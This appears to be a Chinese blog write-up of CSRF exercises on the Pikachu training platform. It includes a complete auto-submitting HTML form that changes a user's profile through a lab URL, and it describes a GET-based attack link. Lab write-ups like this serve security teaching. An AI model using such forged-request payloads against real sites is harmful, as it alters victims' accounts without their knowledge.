CSRF漏洞-pikachu平台

CSRF-GET

访问目标网站如下图所示
CSRF漏洞-pikachu平台_第1张图片
点击右边的提示有账号密码
CSRF漏洞-pikachu平台_第2张图片
登录lucy账号
CSRF漏洞-pikachu平台_第3张图片
修改个人信息用burpsuite抓包
发现其参数直接用get提交,并且没做什么认证(即攻击者不需要任何用户的信息即可构造请求,如果防御的话我觉得应该利用cookie等认证用户的信息添加到get请求里)
用户点击该网站链接时会以用户的身份提交攻击者提前准备好的数据
CSRF漏洞-pikachu平台_第4张图片

此时我们推出lucy用户登录grady用户
CSRF漏洞-pikachu平台_第5张图片
CSRF漏洞-pikachu平台_第6张图片
然后现在访问攻击者构造的语句,将个人信息全部修改为111
只需要把 攻击语句放到URL中,点击即可以当前grady用户的身份执行这条语句
CSRF漏洞-pikachu平台_第7张图片

CSRF-POST

点击提示登录
CSRF漏洞-pikachu平台_第8张图片
选择lucy用户登陆之后,修改个人信息并且用burpsuite抓包
CSRF漏洞-pikachu平台_第9张图片
发现其参数直接用POST提交,并且没做什么认证(即攻击者不需要任何用户的信息即可构造请求)
其实与上面那个同理,只是稍微麻烦点,需要自己搭建一个网站(或用户能访问到的网站),然后用户点击该网站链接时,该网站向目标网站提交攻击者事先准备好的表单

构造表单

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.36.140/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
     <input id="sex" type="text" name="sex" value="boy" />
     <input id="phonenum" type="text" name="phonenum" value="54213" />
     <input id="add" type="text" name="add" value="hacker" />
     <input id="email" type="text" name="email" value="[email protected]" />
     <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

把自己构造的表单放在本地搭建的服务器上,总之能让受害者用户可以访问到的服务器即可
CSRF漏洞-pikachu平台_第10张图片
受害者只需要访问这个表单,个人信息立马被修改
CSRF漏洞-pikachu平台_第11张图片

CSRF-Token

你可能感兴趣的:(CSRF)